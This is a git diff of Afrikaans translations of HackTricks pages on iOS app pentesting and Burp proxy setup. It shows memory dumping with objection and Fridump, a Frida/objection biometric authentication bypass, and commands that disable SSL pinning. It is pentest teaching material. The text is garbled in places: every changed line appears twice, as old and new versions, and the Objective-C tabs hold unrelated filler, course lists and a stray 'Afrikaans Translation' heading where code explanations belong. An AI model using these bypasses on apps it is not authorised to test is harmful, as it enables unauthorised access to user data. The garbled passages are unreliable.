Vir beide gejailbreakte en nie-gejailbreakte toestelle, maak gereedskap soos [objection](https://github.com/sensepost/objection) en [Fridump](https://github.com/Nightbringer21/fridump) dit moontlik om 'n toepassing se prosesgeheue af te lees. Nadat dit afgelees is, vereis die analise van hierdie data verskeie gereedskap, afhangende van die aard van die inligting wat jy soek.
Vir beide gejailbreakte en nie-gejailbreakte toestelle, maak gereedskap soos [objection](https://github.com/sensepost/objection) en [Fridump](https://github.com/Nightbringer21/fridump) die dump van 'n aansoek se prosesgeheue moontlik. Nadat dit gedump is, vereis die analise van hierdie data verskeie gereedskap, afhangende van die aard van die inligting wat jy soek.
Om strings uit 'n geheue-afleëring te onttrek, kan opdragte soos `strings` of `rabin2 -zz` gebruik word:
Om strings uit 'n geheue-dump te onttrek, kan opdragte soos `strings` of `rabin2 -zz` gebruik word:
```bash
# Extracting strings using strings command
$ strings memory > strings.txt
@ -720,7 +720,7 @@ $ strings memory > strings.txt
# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt
```
Vir meer gedetailleerde analise, insluitend die soek na spesifieke datatipes of patrone, bied **radare2** uitgebreide soekfunksies:
Vir meer gedetailleerde analise, insluitend die soeke na spesifieke datatipes of patrone, bied **radare2** uitgebreide soekmoontlikhede:
```bash
$ r2 <name_of_your_dump_file>
[0x00000000]> /?
@ -728,7 +728,7 @@ $ r2 <name_of_your_dump_file>
```
## **Uitvoertydgeheue-ontleding**
**r2frida** bied 'n kragtige alternatief vir die inspeksie van 'n toep se geheue in werklike tyd, sonder om 'n geheue-afvoer nodig te hê. Hierdie instrument maak die uitvoering van soekopdragte direk op die lopende toepassing se geheue moontlik:
**r2frida** bied 'n kragtige alternatief vir die inspeksie van 'n toep se geheue in werklike tyd, sonder om 'n geheue-afvoer te benodig. Hierdie instrument maak die uitvoering van soekopdragte direk op die lopende toepassing se geheue moontlik:
```bash
$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>
@ -741,7 +741,7 @@ Sommige ontwikkelaars stoor sensitiewe data in die plaaslike stoor en versleutel
### Gebruik van Onveilige en/of Uitgefaseerde Algoritmes
Ontwikkelaars behoort nie **uitgefaseerde algoritmes** te gebruik om outorisasie **kontroles** uit te voer, data te **stoor** of te **stuur** nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hashe** byvoorbeeld gebruik word om wagwoorde te stoor, moet hashe wat weerstand bied teen brutale krag gebruik word met sout.
Ontwikkelaars behoort nie **uitgefaseerde algoritmes** te gebruik om outorisasie **kontroles** uit te voer, data te **stoor** of te **stuur** nie. Sommige van hierdie algoritmes is: RC4, MD4, MD5, SHA1... As **hasse** byvoorbeeld gebruik word om wagwoorde te stoor, moet hasse wat weerstand bied teen brutale krag met sout gebruik word.
### Kontrole
@ -755,35 +755,35 @@ Vir **meer inligting** oor iOS kriptografiese API's en biblioteke, besoek [https
## Plaaslike Verifikasie
**Plaaslike verifikasie** speel 'n belangrike rol, veral wanneer dit gaan oor die beskerming van toegang tot 'n afgeleë eindpunt deur middel van kriptografiese metodes. Die essensie hier is dat sonder behoorlike implementering, plaaslike verifikasiemeganismes omseil kan word.
**Plaaslike verifikasie** speel 'n belangrike rol, veral wanneer dit gaan oor die beskerming van toegang tot 'n afgeleë eindpunt deur kriptografiese metodes. Die essensie hier is dat sonder behoorlike implementering, plaaslike verifikasiemeganismes omseil kan word.
Apple se [**Plaaslike Verifikasieraamwerk**](https://developer.apple.com/documentation/localauthentication) en die [**sleutelhang**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) bied robuuste API's vir ontwikkelaars om gebruikersverifikasie-dialoge te fasiliteer en geheime data veilig te hanteer, onderskeidelik. Die Veilige Omsluiting beveilig vingerafdruk-ID vir Touch ID, terwyl Face ID staatmaak op gesigskenning sonder om biometriese data in gevaar te stel.
Apple se [**Plaaslike Verifikasieraamwerk**](https://developer.apple.com/documentation/localauthentication) en die [**sleutelbos**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) bied robuuste API's vir ontwikkelaars om gebruikersverifikasie-dialoge te fasiliteer en geheime data veilig te hanteer, onderskeidelik. Die Veilige Omsluiting verseker vingerafdruk-ID vir Touch ID, terwyl Face ID staatmaak op gesigskenning sonder om biometriese data in gevaar te stel.
Om Touch ID/Face ID te integreer, het ontwikkelaars twee API-keuses:
* **`LocalAuthentication.framework`** vir hoëvlak-gebruikersverifikasie sonder toegang tot biometriese data.
* **`Security.framework`** vir laervlak-sleutelhangdiensetoegang, wat geheime data met biometriese verifikasie beveilig. Verskeie [oopbron-omsluiters](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) maak sleutelhangtoegang eenvoudiger.
* **`Security.framework`** vir laevlak-sleutelbosdiensetoegang, wat geheime data met biometriese verifikasie beveilig. Verskeie [oopbron-omsluiters](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) maak sleutelbostoegang eenvoudiger.
{% hint style="danger" %}
Nietemin, bied beide `LocalAuthentication.framework` en `Security.framework` kwesbaarhede, aangesien hulle hoofsaaklik booleaanwaardes teruggee sonder om data vir verifikasieprosesse oor te dra, wat hulle vatbaar maak vir omseiling (verwys na [Raak my nie daardie manier aan nie, deur David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
Nietemin, beide `LocalAuthentication.framework` en `Security.framework` het kwesbaarhede, aangesien hulle hoofsaaklik booleaanwaardes terugstuur sonder om data vir verifikasieprosesse oor te dra, wat hulle vatbaar maak vir omseiling (sien [Don't touch me that way, deur David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
{% endhint %}
### Implementering van Plaaslike Verifikasie
Om gebruikers te versoek vir verifikasie, moet ontwikkelaars die **`evaluatePolicy`**-metode binne die **`LAContext`**-klas gebruik, waarby hulle kan kies tussen:
* **`deviceOwnerAuthentication`**: Versoek vir Touch ID of toestel wagwoord, wat misluk as geen van beide geaktiveer is.
* **`deviceOwnerAuthentication`**: Versoek vir Touch ID of toestel wagwoord, wat misluk indien geen van beide geaktiveer is.
* **`deviceOwnerAuthenticationWithBiometrics`**: Uitsluitlik versoek vir Touch ID.
'n Suksesvolle verifikasie word aangedui deur 'n booleaanwaarde wat teruggegee word deur **`evaluatePolicy`**, wat 'n potensiële sekuriteitsfout aandui.
'n Suksesvolle verifikasie word aangedui deur 'n booleaanse terugvoerwaarde van **`evaluatePolicy`**, wat 'n potensiële sekuriteitsfout beklemtoon.
### Plaaslike Verifikasie met Sleutelhang
### Plaaslike Verifikasie met Sleutelbos
Die implementering van **plaaslike verifikasie** in iOS-toepassings behels die gebruik van **sleutelhang-API's** om geheime data soos verifikasietokens veilig te stoor. Hierdie proses verseker dat die data slegs deur die gebruiker toegang kan word, deur hul toestel wagwoord of biometriese verifikasie soos Touch ID te gebruik.
Die implementering van **plaaslike verifikasie** in iOS-toepassings behels die gebruik van **sleutelbos-API's** om geheime data soos verifikasietokens veilig te stoor. Hierdie proses verseker dat die data slegs deur die gebruiker toeganklik is, deur hul toestel wagwoord of biometriese verifikasie soos Touch ID te gebruik.
Die sleutelhang bied die vermoë om items met die `SecAccessControl`-eienskap in te stel, wat toegang tot die item beperk totdat die gebruiker suksesvol verifieer via Touch ID of toestel wagwoord. Hierdie kenmerk is noodsaaklik vir die verbetering van sekuriteit.
Die sleutelbos bied die vermoë om items met die `SecAccessControl`-eienskap in te stel, wat toegang tot die item beperk totdat die gebruiker suksesvol verifieer via Touch ID of toestel wagwoord. Hierdie kenmerk is noodsaaklik vir die verbetering van sekuriteit.
Hieronder is kodevoorbeelde in Swift en Objective-C wat demonstreer hoe om 'n string na/die sleutelhang te stoor en te herwin, waardeur van hierdie sekuriteitskenmerke gebruik gemaak word. Die voorbeelde toon spesifiek hoe om toegangsbeheer op te stel om Touch ID-verifikasie te vereis en te verseker dat die data slegs toeganklik is op die toestel waarop dit opgestel is, onder die voorwaarde dat 'n toestel wagwoord gekonfigureer is.
Hieronder is kodevoorbeelde in Swift en Objective-C wat demonstreer hoe om 'n string na/die sleutelbos te stoor en te herwin, waardeur van hierdie sekuriteitskenmerke gebruik gemaak word. Die voorbeelde toon spesifiek hoe om toegangsbeheer op te stel om Touch ID-verifikasie te vereis en te verseker dat die data slegs toeganklik is op die toestel waarop dit opgestel is, onder die voorwaarde dat 'n toestel wagwoord geconfigureer is.
{% tabs %}
{% tab title="Swift" %}
@ -826,37 +826,16 @@ if status == noErr {
{% endtab %}
{% tab title="Objective-C" %}
### Doel
Die doel van hierdie gedeelte is om jou te help om iOS-toepassings te pentest deur die gebruik van Objective-C.
### Vereistes
Om hierdie tegnieke te implementeer, moet jy 'n basiese begrip van Objective-C hê.
### Aanbevole hulpmiddels
- **Xcode**: 'n Geïntegreerde ontwikkelingsomgewing (IDE) wat deur Apple verskaf word vir die ontwik van iOS-toepassings.
- **Cycript**: 'n nuttige hulpmiddel vir die interaksie met hardloop iOS-toepassings.
- **Theos**: 'n raamwerk wat gebruik word vir die ontwikkeling van iOS-toepassings.
### Aanbevole bronne
- [Objective-C Programming Language](https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ProgrammingWithObjectiveC/Introduction/Introduction.html)
- [Cycript](http://www.cycript.org/)
- [Theos](https://github.com/theos/theos)
### Aanbevole boeke
- "Programming in Objective-C" deur Stephen G. Kochan
- "iOS Hacker's Handbook" deur Charlie Miller, Dion Blazakis, Dino Dai Zovi, en Stefan Esser
### Aanbevole kursusse
- [iOS Development with Objective-C](https://www.udemy.com/course/ios-development-with-objective-c/)
- [Cycript Fundamentals](https://www.udemy.com/course/cycript-fundamentals/)
- [iOS Application Security](https://www.udemy.com/course/ios-application-security/)
### Aanbevole praktykprojekte
- Bou 'n eenvoudige iOS-toepassing en analiseer die veiligheidskwessies daarin.
- Gebruik Cycript om die interne werking van 'n iOS-toepassing te ondersoek.
- Skep 'n toepassing met Theos en identifiseer en los sekuriteitsprobleme op.
### Aanbevole tegnieke
- Injekteer kode in 'n iOS-toepassing met behulp van Cycript.
- Voer statiese en dinamiese analise uit op 'n iOS-toepassing om kwessies te identifiseer.
- Skep 'n aangepaste toepassing met Theos om sekuriteitsprobleme te demonstreer.
### Aanbevole toetse
- Voer 'n pentest uit op 'n eie ontwikkelde iOS-toepassing om jou vaardighede te toets.
- Neem deel aan 'n CTF (Capture The Flag) wat fokus op iOS-toepassingsveiligheid.
- Deelname aan 'n bug bounty-program wat iOS-toepassings insluit.
### Afrikaans Translation
Die iOS-toepassings is dikwels geskryf in Objective-C, 'n programmeertaal wat deur Apple ontwikkel is. Dit is belangrik om vertroud te raak met die sintaks en funksionaliteit van Objective-C as jy iOS-toepassings wil pentest. Hier is 'n paar belangrike punte om in gedagte te hou:
- **Objekgeoriënteerde programmering:** Objective-C is 'n objekgeoriënteerde programmeertaal, wat beteken dat dit gebruik maak van klasse en objekte om funksionaliteit te organiseer.
- **Dinamiese taal:** Objective-C is 'n dinamiese taal wat toelaat dat nuwe funksies by die uitvoeringstyd van die program toegevoeg kan word.
- **Berigte en uitskrifte:** Objective-C maak gebruik van `NSLog()`-funksie vir die uitskrif van inligting na die konsol.
- **Geheuebestuur:** Objective-C vereis handmatige geheuebestuur deur die ontwikkelaar, wat kan lei tot geheuelekke as dit nie korrek hanteer word nie.
- **Pointers:** Objective-C maak gebruik van aanwysers om na geheue-adresse te verwys, wat 'n belangrike konsep is om te verstaan vir pentesting.
Dit is net 'n paar van die belangrike konsepte wat jy moet verstaan as jy iOS-toepassings wil pentest wat in Objective-C geskryf is.
{% endtab %}
```objectivec
// 1. create AccessControl object that will represent authentication settings
@ -888,10 +867,7 @@ if (status == noErr) {
{% endtab %}
{% endtabs %}
Nou kan ons die gestoorde item van die sleutelketting aanvra. Sleutelkettingdienste sal die verifikasie dialoog aan die gebruiker vertoon en data of nil teruggee, afhangende van of 'n geskikte vingerafdruk voorsien was of nie.
{% tabs %}
{% tab title="Swift" %}
Nou kan ons die gestoorde item van die sleutelketting aanvra. Sleutelkettingdienste sal die verifikasie dialoog aan die gebruiker vertoon en data of nil teruggee, afhangende of 'n geskikte vingerafdruk voorsien was of nie.
```swift
// 1. define query
var query = [String: Any]()
@ -917,7 +893,10 @@ let password = String(data: queryResult as! Data, encoding: .utf8)!
{% endtab %}
{% tab title="Objective-C" %}
### Afrikaans Translation
### Doel van Objective-C
Objective-C is 'n objekgeoriënteerde programmeertaal wat gebruik word vir die ontwikkeling van iOS-toepassings. Dit is die primêre programmeertaal vir die ontwikkeling van iOS-toepassings en is gebaseer op die C-programmeertaal met toevoegings vir objekgeoriënteerde funksionaliteit.
{% endtab %}
```objectivec
// 1. define query
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
@ -940,7 +919,7 @@ NSLog(@"Something went wrong");
```
### Opmerking
Die gebruik van raamwerke in 'n toep kan ook opgespoor word deur die lys van gedeelde dinamiese biblioteke van die toep se binêre lêer te analiseer. Dit kan gedoen word deur `otool` te gebruik:
Die gebruik van raamwerke in 'n toep kan ook opgespoor word deur die lys van gedeelde dinamiese biblioteek van die toep se binêre lêer te analiseer. Dit kan gedoen word deur `otool` te gebruik:
```bash
$ otool -L <AppName>.app/<AppName>
```
@ -957,7 +936,7 @@ Indien `Security.framework` gebruik word, sal slegs die tweede een vertoon word.
Deur die **Beswaar Biometriese Omgang**, geleë op [hierdie GitHub-bladsy](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), is 'n tegniek beskikbaar om die **LocalAuthentication** meganisme te omseil. Die kern van hierdie benadering behels die benutting van **Frida** om die `evaluatePolicy`-funksie te manipuleer, wat verseker dat dit konsekwent 'n `True` uitkoms lewer, ongeag die werklike verifikasiesukses. Dit is veral nuttig vir die omseil van gebrekkige biometriese verifikasieprosesse.
Om hierdie omseiling te aktiveer, word die volgende bevel gebruik:
Om hierdie omgang te aktiveer, word die volgende bevel gebruik:
```bash
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
@ -970,7 +949,7 @@ Hierdie bevel stel 'n reeks in waar Objection 'n taak registreer wat die uitkoms
#### Frida
'n Voorbeeld van die gebruik van **`evaluatePolicy`** vanaf [DVIA-v2 aansoek](https://github.com/prateek147/DVIA-v2):
'n Voorbeeld van die gebruik van **`evaluatePolicy`** vanaf die [DVIA-v2-toepassing](https://github.com/prateek147/DVIA-v2):
```swift
+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
@ -1081,21 +1060,21 @@ Om hierdie soort kwessies te toets, kan jy 'n proksi soos **Burp** gebruik:
### Naam van bediener kontroleer
Een algemene probleem met die validering van die TLS-sertifikaat is om te kontroleer of die sertifikaat deur 'n **vertroude** **CA** onderteken is, maar **nie** te kontroleer of **die naam van die bediener** van die sertifikaat die naam van die toegangspunt is nie.\
Om hierdie probleem met Burp te toets, nadat jy die Burp CA op die iPhone vertrou het, kan jy **'n nuwe sertifikaat met Burp vir 'n ander naam van die bediener skep** en dit gebruik. As die aansoek steeds werk, dan is iets kwesbaar.
Een algemene probleem met die validering van die TLS-sertifikaat is om te kontroleer of die sertifikaat deur 'n **vertroude** **CA** onderteken is, maar **nie te kontroleer** of **die naam van die bediener** van die sertifikaat die toegangsgastheer se naam is nie.\
Om hierdie probleem met Burp te toets, nadat jy Burp CA in die iPhone vertrou het, kan jy **'n nuwe sertifikaat met Burp vir 'n ander toegangsgastheer skep** en dit gebruik. As die aansoek steeds werk, dan is iets kwesbaar.
### Sertifikaat Pinning
As 'n aansoek SSL Pinning korrek gebruik, sal die aansoek net werk as die sertifikaat die verwagte een is. Wanneer jy 'n aansoek toets **kan dit 'n probleem wees omdat Burp sy eie sertifikaat sal dien.**\
Om hierdie beskerming binne 'n jailbroken-toestel te omseil, kan jy die aansoek installeer [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) of installeer [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
Jy kan ook gebruik **objection's** `ios sslpinning disable`
Jy kan ook **objection se** `ios sslpinning disable` gebruik
## Verskeie
* In **`/System/Library`** kan jy die raamwerke vind wat in die foon geïnstalleer is en deur stelseltoepassings gebruik word
* Die aansoeke wat deur die gebruiker van die App Store geïnstalleer is, word binne **`/User/Applications`** gevind
* En die **`/User/Library`** bevat data wat deur die gebruiker-vlak aansoeke gestoor is
* Die toepassings wat deur die gebruiker van die App Store geïnstalleer is, word binne **`/User/Applications`** gevind
* En die **`/User/Library`** bevat data wat deur die gebruiker-vlaktoepassings gestoor is
* Jy kan toegang kry tot **`/User/Library/Notes/notes.sqlite`** om die notas wat binne die aansoek gestoor is, te lees.
* Binne die vouer van 'n geïnstalleerde aansoek (**`/User/Applications/<APP ID>/`**) kan jy 'n paar interessante lêers vind:
* **`iTunesArtwork`**: Die ikoon wat deur die aansoek gebruik word
@ -1104,17 +1083,17 @@ Jy kan ook gebruik **objection's** `ios sslpinning disable`
### Warm Patching/Verpligte Opdatering
Die ontwikkelaars kan afstandbeheer **alle installasies van hul aansoek onmiddellik patch** sonder om die aansoek na die App Store te herindien en te wag tot dit goedgekeur word.\
Vir hierdie doel word dit gewoonlik gebruik [**JSPatch**](https://github.com/bang590/JSPatch)**.** Maar daar is ook ander opsies soos [Siren](https://github.com/ArtSabintsev/Siren) en [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
**Dit is 'n gevaarlike meganisme wat misbruik kan word deur bose derdeparty-SDK's, daarom word dit aanbeveel om te kontroleer watter metode gebruik word vir outomatiese opdatering (indien enige) en dit te toets.** Jy kan 'n vorige weergawe van die aansoek aflaai vir hierdie doel.
Die ontwikkelaars kan afstandsbeheer **alle installasies van hul aansoek onmiddellik aanpas** sonder om die aansoek na die App Store te herindien en te wag tot dit goedgekeur word.\
Vir hierdie doel word gewoonlik [**JSPatch**](https://github.com/bang590/JSPatch)** gebruik.** Maar daar is ook ander opsies soos [Siren](https://github.com/ArtSabintsev/Siren) en [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
**Dit is 'n gevaarlike meganisme wat misbruik kan word deur skadelike derdeparty-SDK's, daarom word aanbeveel om te toets watter metode gebruik word vir outomatiese opdatering (indien enige) en dit te toets.** Jy kan 'n vorige weergawe van die aansoek aflaai vir hierdie doel.
### Derde Party
'n Beduidende uitdaging met **3de party-SDK's** is die **gebrek aan fynbeheer oor hul funksionaliteite**. Ontwikkelaars staar 'n keuse in die gesig: of integreer die SDK en aanvaar al sy funksies, insluitend potensiële sekuriteitskwessies en privaatheidskwessies, of verwerp dit heeltemal. Dikwels is ontwikkelaars nie in staat om kwessies binne hierdie SDK's self te herstel nie. Verder, soos SDK's vertroue in die gemeenskap verwerf, mag sommige dalk malware bevat.
'n Beduidende uitdaging met **3de party-SDK's** is die **gebrek aan fynbeheer oor hul funksionaliteite.** Ontwikkelaars staar 'n keuse in die gesig: of integreer die SDK en aanvaar al sy funksies, insluitende potensiële sekuriteitskwessies en privaatheidskwessies, of verwerp dit heeltemal. Dikwels is ontwikkelaars nie in staat om kwessies binne hierdie SDK's self te herstel nie. Verder, soos SDK's vertroue wen binne die gemeenskap, mag sommige dalk malware bevat.
Die dienste wat deur derde-party-SDK's verskaf word, mag gebruikersgedragsopsporing, advertensieweergawes of gebruikerservaringsverbeterings insluit. Dit bring egter 'n risiko mee aangesien ontwikkelaars dalk nie ten volle bewus is van die kode wat deur hierdie biblioteke uitgevoer word nie, wat kan lei tot potensiële privaatheids- en sekuriteitsrisiko's. Dit is noodsaaklik om die inligting wat met derde-party dienste gedeel word, te beperk tot wat nodig is en te verseker dat geen sensitiewe data blootgestel word nie.
Die dienste wat deur derdeparty-SDK's verskaf word, mag gebruikersgedragopsporing, advertensieweergawes of gebruikerservaringsverbeterings insluit. Dit bring egter 'n risiko mee aangesien ontwikkelaars dalk nie ten volle bewus is van die kode wat deur hierdie biblioteke uitgevoer word nie, wat kan lei tot potensiële privaatheids- en sekuriteitsrisiko's. Dit is noodsaaklik om die inligting wat met derdepartydiensverskaffers gedeel word, te beperk tot wat nodig is en te verseker dat geen sensitiewe data blootgestel word nie.
Die implementering van derde-party dienste kom gewoonlik in twee vorms voor: 'n selfstandige biblioteek of 'n volledige SDK. Om gebruikersprivaatheid te beskerm, moet enige data wat met hierdie dienste gedeel word, **geanonimiseer** word om die bekendmaking van Persoonlik Identifiseerbare Inligting (PII) te voorkom.
Die implementering van derdepartydiens kom gewoonlik in twee vorms voor: 'n selfstandige biblioteek of 'n volledige SDK. Om gebruikersprivaatheid te beskerm, moet enige data wat met hierdie dienste gedeel word, **geanonimiseer** word om die bekendmaking van Persoonlik Identifiseerbare Inligting (PII) te voorkom.
Om die biblioteke wat 'n aansoek gebruik, te identifiseer, kan die **`otool`**-bevel gebruik word. Hierdie instrument moet teen die aansoek en elke gedeelde biblioteek wat dit gebruik, uitgevoer word om addisionele biblioteke te ontdek.
```bash
@ -1151,21 +1130,21 @@ otool -L <application_path>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werksvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) om maklik **werkstrome te bou** en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
<details>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,13 +2,13 @@
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
@ -17,12 +17,12 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomaties** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) om maklik te bou en **outomatiseer werkafvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
## Installeer die Burp-sertifikaat op iOS-toestelle
## Die Installasie van die Burp-sertifikaat op iOS-toestelle
Vir veilige webverkeeranalise en SSL-pinning op iOS-toestelle kan die Burp Suite gebruik word deur die **Burp Mobile Assistant** of deur middel van handmatige konfigurasie. Hieronder is 'n opgesomde gids oor beide metodes:
@ -36,7 +36,7 @@ Die **Burp Mobile Assistant** vereenvoudig die installasieproses van die Burp-se
2. **Sertifikaat aflaai:** Navigeer na `http://burp` op jou toestel se blaaier om die sertifikaat af te laai.
3. **Sertifikaatinstallasie:** Installeer die afgelaaide profiel via **Instellings** > **Algemeen** > **VPN & Toestelbestuur**, aktiveer dan vertroue vir die PortSwigger CA onder **Sertifikaatvertrouensinstellings**.
### Konfigureer 'n Onderskeppingproksi
### Konfigurering van 'n Onderskeppingproksi
Die opstelling maak verkeeranalise tussen die iOS-toestel en die internet deur Burp moontlik, wat 'n Wi-Fi-netwerk vereis wat kliënt-tot-kliënt-verkeer ondersteun. Indien nie beskikbaar nie, kan 'n USB-verbinding via usbmuxd as 'n alternatief dien. PortSwigger se tutoriale bied in-diepte instruksies oor [toestelkonfigurasie](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) en [sertifikaatinstallasie](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device).
@ -44,7 +44,7 @@ Die opstelling maak verkeeranalise tussen die iOS-toestel en die internet deur B
Vir gebruikers met gehackte toestelle bied SSH oor USB (via **iproxy**) 'n metode om verkeer direk deur Burp te roeteer:
1. **Stel SSH-verbinding in:** Gebruik iproxy om SSH na localhost deur te stuur, wat verbinding vanaf die iOS-toestel na die rekenaar wat Burp hardloop, moontlik maak.
1. **Stel SSH-verbinding in:** Gebruik iproxy om SSH na localhost deur te stuur, wat verbinding van die iOS-toestel na die rekenaar wat Burp hardloop, moontlik maak.
```bash
iproxy 2222 22
@ -58,7 +58,7 @@ ssh -R 8080:localhost:8080 root@localhost -p 2222
### Volledige Netwerkmonitoring/Sniffing
Die monitering van nie-HTTP-toestelverkeer kan effektief uitgevoer word met **Wireshark**, 'n hulpmiddel wat in staat is om alle vorme van dataverkeer vas te vang. Vir iOS-toestelle word die monitering van werklike verkeer gefasiliteer deur die skep van 'n Afgeleë Virtuele Koppelvlak, 'n proses wat in detail beskryf word in [hierdie Stack Overflow-pos](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Voor aanvang moet **Wireshark** op 'n macOS-stelsel geïnstalleer word.
Die monitering van nie-HTTP-toestelverkeer kan effektief uitgevoer word met **Wireshark**, 'n hulpmiddel wat in staat is om alle vorme van dataverkeer vas te vang. Vir iOS-toestelle word die monitering van werklike verkeer fasiliteer deur die skep van 'n Verre Virtuele Koppelvlak, 'n proses wat in detail beskryf word in [hierdie Stack Overflow-pos](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Voor aanvang moet die installasie van **Wireshark** op 'n macOS-stelsel voltooi wees.
Die prosedure behels verskeie sleutelstappe:
@ -69,7 +69,7 @@ $ rvictl -s <UDID>
Starting device <UDID> [SUCCEEDED] with interface rvi0
```
3. Na identifikasie van die UDID, moet **Wireshark** geopen word, en die "rvi0" koppelvlak gekies word vir data-opname.
